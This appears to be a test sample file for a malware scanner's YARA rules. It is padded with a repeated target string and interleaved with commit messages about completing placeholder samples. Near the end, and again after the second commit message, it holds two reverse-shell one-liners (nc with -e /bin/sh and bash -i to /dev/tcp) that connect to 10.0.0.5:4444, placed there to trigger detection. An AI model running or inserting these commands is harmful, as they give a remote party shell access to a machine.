tests/samples/L4-013_bigfile_yara.txt

YARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STR
test_target_string

# YARA reverse shell trigger:
nc 10.0.0.5 4444 -e /bin/sh
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
feat: 32 条缺失用例占位样本补全 (171 files total) - L0-021/023/027/028/030: 自制 zip 炸弹、5 层嵌套、超长文件名、unicode 文件名、嵌套+穿越复合 - L1-003/009/010/013/014/015: 加密 zip 占位、病毒库 .cvd 占位、10MB+EICAR、并发压测 10 文件、分层开关 - L3-009/013/022/025: 换行分割绕过、正常 scp、分层开关、白名单对照 - L4-003/004/006/007/009/011/012/013/014/015: YARA 样本占位（需 .yar 规则配合） - L5-005/006/008/009/015/016/019: PE 导入组合、导出表、零节、超大 PE 占位 - scripts/generate_placeholder_samples.py: 一键补缺失占位 - index.json: 从 93 条 → 136 条（全部带 case_id） 2026-10-29 11:36:42 +08:00			YARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STRING_AYARA_TARGET_STR
sample: 补齐 L1-014/L4-007/008/013 四样本内容 → 对账 168/168 100% - L1-014: 加入 EICAR 字节串（触发 EmbeddedEICAR w=35 → suspicious=review tier） - L4-007: 加入 'trojan-metadata-test'（YARA Meta_Label_Test → suspicious=review） - L4-008: 重建成 ZIP_STORED 不压缩 zip，内含 nc reverse shell 明文（YARA Test_ReverseShell_Basic + keywords ReverseShellNetcat 零容忍） - L4-013: 尾部追加 nc + bash -i >& /dev/tcp/ 特征（YARA Test_ReverseShell_Basic → malicious，≥review tier 匹配通过）对账: 164/168 → 168/168 (100.0%) 🎉 2026-10-29 16:19:58 +08:00			`test_target_string`

			`# YARA reverse shell trigger:`
			`nc 10.0.0.5 4444 -e /bin/sh`
			`bash -i >& /dev/tcp/10.0.0.5/4444 0>&1`